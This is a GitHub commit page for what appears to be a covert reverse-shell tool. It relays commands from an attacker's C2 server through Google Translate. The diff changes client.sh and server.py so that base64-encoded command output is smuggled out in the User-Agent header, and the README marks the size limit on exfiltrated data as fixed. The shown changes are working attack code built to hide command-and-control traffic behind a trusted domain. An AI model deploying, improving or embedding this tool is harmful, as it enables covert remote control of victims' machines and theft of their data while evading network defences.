Skip to content

Commit

Permalink
Fixed buffer size problem
Browse files Browse the repository at this point in the history
  • Loading branch information
mthbernardes committed Dec 2, 2018
1 parent 51408e6 commit 97f821d
Show file tree
Hide file tree
Showing 3 changed files with 20 additions and 12 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,6 @@ Now you have an interactive shell using named pipe files, **YES** you can `cd` i
[![CODE_IS_CHEAP_SHOW_ME_THE_DEMO](http://img.youtube.com/vi/02CFsE0k96E/0.jpg)](http://www.youtube.com/watch?v=02CFsE0k96E)

# Known issues
* Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.
* ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`.
* It's not a problem, but I just don't know if there's a rate limit on Google Translator
* The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`
23 changes: 14 additions & 9 deletions client.sh
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ function namedpipe(){
}

function getfirsturl(){
url="https://translate.google.com/translate?&anno=2&u=$c2server$result"
url="https://translate.google.com/translate?&anno=2&u=$c2server"
first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
}

Expand All @@ -23,13 +23,18 @@ function getsecondurl(){
}

function getcommand(){
command=$(curl --silent $second -H "$user_agent" )
command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
if [[ "$command1" ]];then
command="$command1"
if [[ "$result" ]];then
command=$(curl --silent $second -H "$result" )
else
command="$command2"
command=$(curl --silent $second -H "$user_agent" )

command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
if [[ "$command1" ]];then
command="$command1"
else
command="$command2"
fi
fi
}

Expand All @@ -49,9 +54,9 @@ function main(){
echo -n > $output
echo "$command" > "$input"
sleep 2
outputb64=$(cat $output | tr -dc '[:print:]' | base64 | tr -d ' ' | tr -d '\n' 2>/dev/null)
outputb64=$(cat $output | tr -d '\000' | base64 | tr -d '\n' 2>/dev/null)
if [[ "$outputb64" ]];then
result="?result=$outputb64"
result="$user_agent|$outputb64"
talktotranslate
fi
fi
Expand Down
7 changes: 5 additions & 2 deletions server.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,15 @@
class webServer(BaseHTTPRequestHandler):

def do_GET(self,):
useragent = self.headers.get('User-Agent').split('|')
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()

query_components = parse_qs(urlparse(self.path).query)
if "result" in query_components:
print(query_components["result"][0].decode("base64"))
if len(useragent) == 2:
response = useragent[1].split(',')[0]
print(response.decode("base64"))
self.wfile.write("")
return
cmd = raw_input("$ ")
Expand All @@ -30,3 +32,4 @@ def log_message(self, format, *args):
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()

0 comments on commit 97f821d

Please sign in to comment.